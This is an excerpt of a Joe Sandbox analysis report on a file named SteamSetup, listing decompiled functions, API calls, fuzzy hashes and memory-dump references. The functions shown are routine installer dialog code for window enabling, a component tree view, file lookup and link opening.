Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction ID: 3e0bacd84e958153637e663f6e0df00a268db6e73930f78988907d41dcf2010e
Opcode Fuzzy Hash: 7bbf2f5232cd2574a5b007ccbcd78797cc8e3f4bb2dd07224d7ba7f17a9ad77c
Instruction Fuzzy Hash: 32B01235290A00FBDE214B00EE09F457E62F76C701F008478B340240F0CAB300B1DB19

Uniqueness

Uniqueness Score: -1.00%

Function 00404264 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404264(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x423724, _a4); // executed
				return _t2;
			}

0x0040426e
0x00404274

APIs

KiUserCallbackDispatcher.NTDLL(?,0040403C), ref: 0040426E

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction ID: ea629541fdd2228df96855dc4de4e407fdbb002a66502a1a5a86269346c048a7
Opcode Fuzzy Hash: 8a62e99fe4a67b047fdc914663d327e58adf51456459288db10dd5d3044e9a2e
Instruction Fuzzy Hash: C0A001B6644500ABCE129F90EF49D0ABBB2EBE8742B518579A285900348A364961EB59

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404C59 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00404C59(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed char* _v28;
				long _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				signed char* _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t192;
				intOrPtr _t195;
				long _t201;
				signed int _t205;
				signed int _t216;
				void* _t219;
				void* _t220;
				int _t226;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t239;
				signed int _t241;
				signed char _t242;
				signed char _t248;
				void* _t252;
				void* _t254;
				signed char* _t270;
				signed char _t271;
				long _t276;
				int _t282;
				signed int _t283;
				long _t284;
				signed int _t287;
				signed int _t294;
				signed char* _t302;
				struct HWND__* _t306;
				int _t307;
				signed int* _t308;
				int _t309;
				long _t310;
				signed int _t311;
				void* _t313;
				long _t314;
				int _t315;
				signed int _t316;
				void* _t318;

				_t306 = _a4;
				_v12 = GetDlgItem(_t306, 0x3f9);
				_v8 = GetDlgItem(_t306, 0x408);
				_t318 = SendMessageW;
				_v20 =  *0x42a268;
				_t282 = 0;
				_v24 =  *0x42a250 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t285 = _a16;
					} else {
						_a12 = _t282;
						_t285 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t285;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t285 + 4)) == 0x408) {
							if(( *0x42a259 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t282) {
									_t231 = _v16;
									if( *((intOrPtr*)(_t231 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, _t282,  *(_t231 + 0x5c));
									}
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe39) {
										_t285 = _v20;
										_t233 =  *(_t232 + 0x5c);
										if( *((intOrPtr*)(_t232 + 0xc)) != 2) {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) & 0xffffffdf;
										} else {
											 *(_t233 * 0x818 + _t285 + 8) =  *(_t233 * 0x818 + _t285 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t285 = 0 | _a8 != 0x00000413;
								_t239 = E00404BA7(_v8, _a8 != 0x413);
								_t311 = _t239;
								if(_t311 >= _t282) {
									_t88 = _v20 + 8; // 0x8
									_t285 = _t239 * 0x818 + _t88;
									_t241 =  *_t285;
									if((_t241 & 0x00000010) == 0) {
										if((_t241 & 0x00000040) == 0) {
											_t242 = _t241 ^ 0x00000001;
										} else {
											_t248 = _t241 ^ 0x00000080;
											if(_t248 >= 0) {
												_t242 = _t248 & 0x000000fe;
											} else {
												_t242 = _t248 | 0x00000001;
											}
										}
										 *_t285 = _t242;
										E0040117D(_t311);
										_a12 = _t311 + 1;
										_a16 =  !( *0x42a258) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t285 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, _t282, _t282);
							}
							if(_a8 == 0x40b) {
								_t219 =  *0x42370c;
								if(_t219 != _t282) {
									ImageList_Destroy(_t219);
								}
								_t220 =  *0x423720;
								if(_t220 != _t282) {
									GlobalFree(_t220);
								}
								 *0x42370c = _t282;
								 *0x423720 = _t282;
								 *0x42a2a0 = _t282;
							}
							if(_a8 != 0x40f) {
								L88:
								if(_a8 == 0x420 && ( *0x42a259 & 0x00000001) != 0) {
									_t307 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t307);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t307);
								}
								goto L91;
							} else {
								E004011EF(_t285, _t282, _t282);
								_t192 = _a12;
								if(_t192 != _t282) {
									if(_t192 != 0xffffffff) {
										_t192 = _t192 - 1;
									}
									_push(_t192);
									_push(8);
									E00404C27();
								}
								if(_a16 == _t282) {
									L75:
									E004011EF(_t285, _t282, _t282);
									_v32 =  *0x423720;
									_t195 =  *0x42a268;
									_v60 = 0xf030;
									_v20 = _t282;
									if( *0x42a26c <= _t282) {
										L86:
										InvalidateRect(_v8, _t282, 1);
										if( *((intOrPtr*)( *0x42921c + 0x10)) != _t282) {
											E00404B62(0x3ff, 0xfffffffb, E00404B7A(5));
										}
										goto L88;
									}
									_t308 = _t195 + 8;
									do {
										_t201 =  *((intOrPtr*)(_v32 + _v20 * 4));
										if(_t201 != _t282) {
											_t287 =  *_t308;
											_v68 = _t201;
											_v72 = 8;
											if((_t287 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t308[4]);
												_t308[0] = _t308[0] & 0x000000fe;
											}
											if((_t287 & 0x00000040) == 0) {
												_t205 = (_t287 & 0x00000001) + 1;
												if((_t287 & 0x00000010) != 0) {
													_t205 = _t205 + 3;
												}
											} else {
												_t205 = 3;
											}
											_v64 = (_t205 << 0x0000000b | _t287 & 0x00000008) + (_t205 << 0x0000000b | _t287 & 0x00000008) | _t287 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t287 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageW(_v8, 0x113f, _t282,  &_v72);
										}
										_v20 = _v20 + 1;
										_t308 =  &(_t308[0x206]);
									} while (_v20 <  *0x42a26c);
									goto L86;
								} else {
									_t309 = E004012E2( *0x423720);
									E00401299(_t309);
									_t216 = 0;
									_t285 = 0;
									if(_t309 <= _t282) {
										L74:
										SendMessageW(_v12, 0x14e, _t285, _t282);
										_a16 = _t309;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v24 + _t216 * 4)) != _t282) {
											_t285 = _t285 + 1;
										}
										_t216 = _t216 + 1;
									} while (_t216 < _t309);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L91;
						} else {
							_t226 = SendMessageW(_v12, 0x147, _t282, _t282);
							if(_t226 == 0xffffffff) {
								goto L91;
							}
							_t310 = SendMessageW(_v12, 0x150, _t226, _t282);
							if(_t310 == 0xffffffff ||  *((intOrPtr*)(_v24 + _t310 * 4)) == _t282) {
								_t310 = 0x20;
							}
							E00401299(_t310);
							SendMessageW(_a4, 0x420, _t282, _t310);
							_a12 = _a12 | 0xffffffff;
							_a16 = _t282;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v32 = 0;
					_v16 = 2;
					 *0x42a2a0 = _t306;
					 *0x423720 = GlobalAlloc(0x40,  *0x42a26c << 2);
					_t252 = LoadBitmapW( *0x42a240, 0x6e);
					 *0x423714 =  *0x423714 | 0xffffffff;
					_t313 = _t252;
					 *0x42371c = SetWindowLongW(_v8, 0xfffffffc, E00405251);
					_t254 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42370c = _t254;
					ImageList_AddMasked(_t254, _t313, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42370c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t313);
					_t314 = 0;
					do {
						_t260 =  *((intOrPtr*)(_v24 + _t314 * 4));
						if( *((intOrPtr*)(_v24 + _t314 * 4)) != _t282) {
							if(_t314 != 0x20) {
								_v16 = _t282;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, _t282, E004061A0(_t282, _t314, _t318, _t282, _t260)), _t314);
						}
						_t314 = _t314 + 1;
					} while (_t314 < 0x21);
					_t315 = _a16;
					_t283 = _v16;
					_push( *((intOrPtr*)(_t315 + 0x30 + _t283 * 4)));
					_push(0x15);
					E00404242(_a4);
					_push( *((intOrPtr*)(_t315 + 0x34 + _t283 * 4)));
					_push(0x16);
					E00404242(_a4);
					_t316 = 0;
					_t284 = 0;
					if( *0x42a26c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t302 = _v20 + 8;
						_v28 = _t302;
						do {
							_t270 =  &(_t302[0x10]);
							if( *_t270 != 0) {
								_v60 = _t270;
								_t271 =  *_t302;
								_t294 = 0x20;
								_v84 = _t284;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t294;
								_v40 = _t316;
								_v68 = _t271 & _t294;
								if((_t271 & 0x00000002) == 0) {
									if((_t271 & 0x00000004) == 0) {
										 *( *0x423720 + _t316 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v84);
									} else {
										_t284 = SendMessageW(_v8, 0x110a, 3, _t284);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t276 = SendMessageW(_v8, 0x1132, 0,  &_v84);
									_v32 = 1;
									 *( *0x423720 + _t316 * 4) = _t276;
									_t284 =  *( *0x423720 + _t316 * 4);
								}
							}
							_t316 = _t316 + 1;
							_t302 =  &(_v28[0x818]);
							_v28 = _t302;
						} while (_t316 <  *0x42a26c);
						if(_v32 != 0) {
							L20:
							if(_v16 != 0) {
								E00404277(_v8);
								_t282 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00404277(_v12);
								L91:
								return E004042A9(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00404c68
0x00404c79
0x00404c7e
0x00404c86
0x00404c8c
0x00404c94
0x00404ca2
0x00404ca5
0x00404ec6
0x00404ecd
0x00404ee1
0x00404ecf
0x00404ed1
0x00404ed4
0x00404ed5
0x00404edc
0x00404edc
0x00404eed
0x00404efb
0x00404efe
0x00404f14
0x00404f89
0x00404f8c
0x00404f8e
0x00404f98
0x00404fa6
0x00404fa6
0x00404fa8
0x00404fb2
0x00404fb8
0x00404fbb
0x00404fbe
0x00404fd9
0x00404fc0
0x00404fca
0x00404fca
0x00404fbe
0x00404fb2
0x00000000
0x00404f8c
0x00404f19
0x00404f24
0x00404f29
0x00404f30
0x00404f35
0x00404f39
0x00404f44
0x00404f44
0x00404f48
0x00404f4c
0x00404f50
0x00404f63
0x00404f52
0x00404f52
0x00404f59
0x00404f5f
0x00404f5b
0x00404f5b
0x00404f5b
0x00404f59
0x00404f67
0x00404f69
0x00404f7c
0x00404f7f
0x00404f82
0x00404f82
0x00404f4c
0x00000000
0x00404f39
0x00404f1b
0x00404f22
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404fdc
0x00404fdc
0x00404fe3
0x00405054
0x0040505c
0x00405064
0x00405064
0x0040506d
0x0040506f
0x00405076
0x00405079
0x00405079
0x0040507f
0x00405086
0x00405089
0x00405089
0x0040508f
0x00405095
0x0040509b
0x0040509b
0x004050a8
0x004051fe
0x00405205
0x00405222
0x00405228
0x0040523a
0x0040523a
0x00000000
0x004050ae
0x004050b0
0x004050b5
0x004050ba
0x004050bf
0x004050c1
0x004050c1
0x004050c2
0x004050c3
0x004050c5
0x004050c5
0x004050cd
0x0040510e
0x00405110
0x00405120
0x00405123
0x00405128
0x0040512f
0x00405132
0x004051d4
0x004051da
0x004051e8
0x004051f9
0x004051f9
0x00000000
0x004051e8
0x00405138
0x0040513b
0x00405141
0x00405146
0x00405148
0x0040514a
0x00405150
0x00405157
0x0040515c
0x00405163
0x00405166
0x00405166
0x0040516d
0x00405179
0x0040517d
0x0040517f
0x0040517f
0x0040516f
0x00405171
0x00405171
0x0040519f
0x004051ab
0x004051ba
0x004051ba
0x004051bc
0x004051bf
0x004051c8
0x00000000
0x004050cf
0x004050da
0x004050dd
0x004050e2
0x004050e4
0x004050e8
0x004050f8
0x00405102
0x00405104
0x00405107
0x00000000
0x00000000
0x00000000
0x00000000
0x004050ea
0x004050ea
0x004050f0
0x004050f2
0x004050f2
0x004050f3
0x004050f4
0x00000000
0x004050ea
0x004050cd
0x004050a8
0x00404feb
0x00000000
0x00405001
0x0040500b
0x00405010
0x00000000
0x00000000
0x00405022
0x00405027
0x00405033
0x00405033
0x00405035
0x00405044
0x00405046
0x0040504a
0x0040504d
0x00000000
0x0040504d
0x00404feb
0x00404cab
0x00404cb0
0x00404cb9
0x00404cc0
0x00404cce
0x00404cd9
0x00404cdf
0x00404ced
0x00404d01
0x00404d06
0x00404d13
0x00404d18
0x00404d2e
0x00404d3f
0x00404d4c
0x00404d4c
0x00404d4f
0x00404d55
0x00404d57
0x00404d5a
0x00404d5f
0x00404d64
0x00404d66
0x00404d66
0x00404d86
0x00404d86
0x00404d88
0x00404d89
0x00404d8e
0x00404d91
0x00404d94
0x00404d98
0x00404d9d
0x00404da2
0x00404da6
0x00404dab
0x00404db0
0x00404db2
0x00404dba
0x00404e85
0x00404e98
0x00000000
0x00404dc0
0x00404dc3
0x00404dc6
0x00404dc9
0x00404dc9
0x00404dd0
0x00404dd6
0x00404dd9
0x00404ddf
0x00404de0
0x00404de5
0x00404dee
0x00404df5
0x00404df8
0x00404dfb
0x00404dfe
0x00404e3a
0x00404e63
0x00404e3c
0x00404e49
0x00404e49
0x00404e00
0x00404e03
0x00404e12
0x00404e1c
0x00404e24
0x00404e2b
0x00404e33
0x00404e33
0x00404dfe
0x00404e69
0x00404e6a
0x00404e76
0x00404e76
0x00404e83
0x00404e9e
0x00404ea2
0x00404ebf
0x00404ec4
0x00000000
0x00404ea4
0x00404ea9
0x00404eb2
0x0040523c
0x0040524e
0x0040524e
0x00404ea2
0x00000000
0x00404e83
0x00404dba

APIs

GetDlgItem.USER32 ref: 00404C71
GetDlgItem.USER32 ref: 00404C7C
GlobalAlloc.KERNEL32(00000040,?), ref: 00404CC6
LoadBitmapW.USER32(0000006E), ref: 00404CD9
SetWindowLongW.USER32 ref: 00404CF2
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D06
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404D18
SendMessageW.USER32(?,00001109,00000002), ref: 00404D2E
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404D3A
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404D4C
DeleteObject.GDI32(00000000), ref: 00404D4F
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404D7A
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404D86
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E1C
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404E47
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404E5B
GetWindowLongW.USER32(?,000000F0), ref: 00404E8A
SetWindowLongW.USER32 ref: 00404E98
ShowWindow.USER32(?,00000005), ref: 00404EA9
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404FA6
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040500B
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405020
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405044
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405064
ImageList_Destroy.COMCTL32(?), ref: 00405079
GlobalFree.KERNEL32 ref: 00405089
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405102
SendMessageW.USER32(?,00001102,?,?), ref: 004051AB
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004051BA
InvalidateRect.USER32(?,00000000,00000001), ref: 004051DA
ShowWindow.USER32(?,00000000), ref: 00405228
GetDlgItem.USER32 ref: 00405233
ShowWindow.USER32(00000000), ref: 0040523A

Strings

N, xrefs: 00404EE4
M, xrefs: 00404E03
, xrefs: 00405212

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: c57cb45ce89cd192e0511e30eec95623b06f81766ebd804847a276e94d887aeb
Instruction ID: ce840dee0c3a5b827351c7f25dbf2e3605d0905f5c54158640504e6bfb71dde6
Opcode Fuzzy Hash: c57cb45ce89cd192e0511e30eec95623b06f81766ebd804847a276e94d887aeb
Instruction Fuzzy Hash: 4C023EB0A00209EFDF209F64CD45AAE7BB5FB84355F10817AE610BA2E1C7799D52CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004027FB(short __ebx, short* __esi) {
				void* _t21;

				if(FindFirstFileW(E00402BBF(2), _t21 - 0x2b0) != 0xffffffff) {
					E004060C5( *((intOrPtr*)(_t21 - 0x10)), _t8);
					_push(_t21 - 0x284);
					_push(__esi);
					E0040617E();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0x10)))) = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x42a2c8 =  *0x42a2c8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402813
0x0040282e
0x00402839
0x0040283a
0x00402970
0x00402815
0x00402818
0x0040281b
0x0040281e
0x0040281e
0x00402a4f
0x00402a5b

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 760ba12aea5bac669ea06a92ce868f6cfbbc58d79179603cd607c726fd559e33
Instruction ID: ca82d2f7608ddbe9a9db451b4e667c54ef54e9945bbc135f2cbc761c4928cd6d
Opcode Fuzzy Hash: 760ba12aea5bac669ea06a92ce868f6cfbbc58d79179603cd607c726fd559e33
Instruction Fuzzy Hash: 3CF08275600114DBC711EBE4DD49AAEB374FF00324F2045BBE105F31E1D7B499559B2A

Uniqueness

Uniqueness Score: -1.00%

Function 004043DF Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004043DF(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				short* _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x4216f4 =  *0x4216f4 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E004042A9(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x4281e0;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								ShellExecuteW(_a4, L"open", _v8, 0, 0, 1);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x42a248, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a248, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x4216f4 != 0) {
						goto L27;
					} else {
						_t69 =  *0x422700; // 0x58930c
						_t29 = _t69 + 0x14; // 0x589320
						_t116 = _t29;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00404264(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404672();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x42921c - 4 + _t75 * 4);
				}
				_t76 =  *0x42a278 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404390;
				if(_t110 != 2) {
					_v8 = E00404356;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404242(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404242(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00404264( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E00404277(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a250 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x4216f4 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x4216f4 = 0;
				return 0;
			}

0x004043f1
0x0040451e
0x0040457b
0x0040457f
0x00404654
0x00404656
0x00404656
0x0040465c
0x0040465c
0x0040465f
0x00000000
0x00404666
0x0040458d
0x00404593
0x0040459d
0x004045a8
0x004045ab
0x004045ae
0x004045b9
0x004045bc
0x004045c3
0x004045d0
0x004045e1
0x004045f6
0x00404605
0x0040460b
0x0040460b
0x004045c3
0x00404615
0x00000000
0x00404620
0x00404624
0x00404634
0x00404634
0x0040463a
0x00404646
0x00404646
0x00000000
0x0040464a
0x00404615
0x00404529
0x00000000
0x0040453b
0x0040453b
0x00404540
0x00404540
0x00404546
0x00000000
0x00000000
0x0040456f
0x00404571
0x00404576
0x00000000
0x00404576
0x00404529
0x004043f7
0x004043fa
0x004043ff
0x00404410
0x00404410
0x00404418
0x0040441b
0x0040441f
0x00404422
0x00404426
0x00404429
0x0040442c
0x0040442f
0x00404436
0x00404438
0x00404438
0x00404442
0x0040444f
0x00404459
0x0040445e
0x00404461
0x00404466
0x0040447d
0x00404484
0x00404497
0x0040449a
0x004044ae
0x004044b5
0x004044ba
0x004044bf
0x004044bf
0x004044cd
0x004044db
0x004044ed
0x004044f2
0x00404502
0x00404504
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040447D
GetDlgItem.USER32 ref: 00404491
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004044AE
GetSysColor.USER32(?), ref: 004044BF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004044CD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004044DB
lstrlenW.KERNEL32(?), ref: 004044E0
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004044ED
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404502
GetDlgItem.USER32 ref: 0040455B
SendMessageW.USER32(00000000), ref: 00404562
GetDlgItem.USER32 ref: 0040458D
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004045D0
LoadCursorW.USER32(00000000,00007F02), ref: 004045DE
SetCursor.USER32(00000000), ref: 004045E1
ShellExecuteW.SHELL32(0000070B,open,004281E0,00000000,00000000,00000001), ref: 004045F6
LoadCursorW.USER32(00000000,00007F00), ref: 00404602
SetCursor.USER32(00000000), ref: 00404605
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404634
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404646

Strings

N, xrefs: 0040457B
Delete on reboot: , xrefs: 004045BC
VC@, xrefs: 004045EB
open, xrefs: 004045EE

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
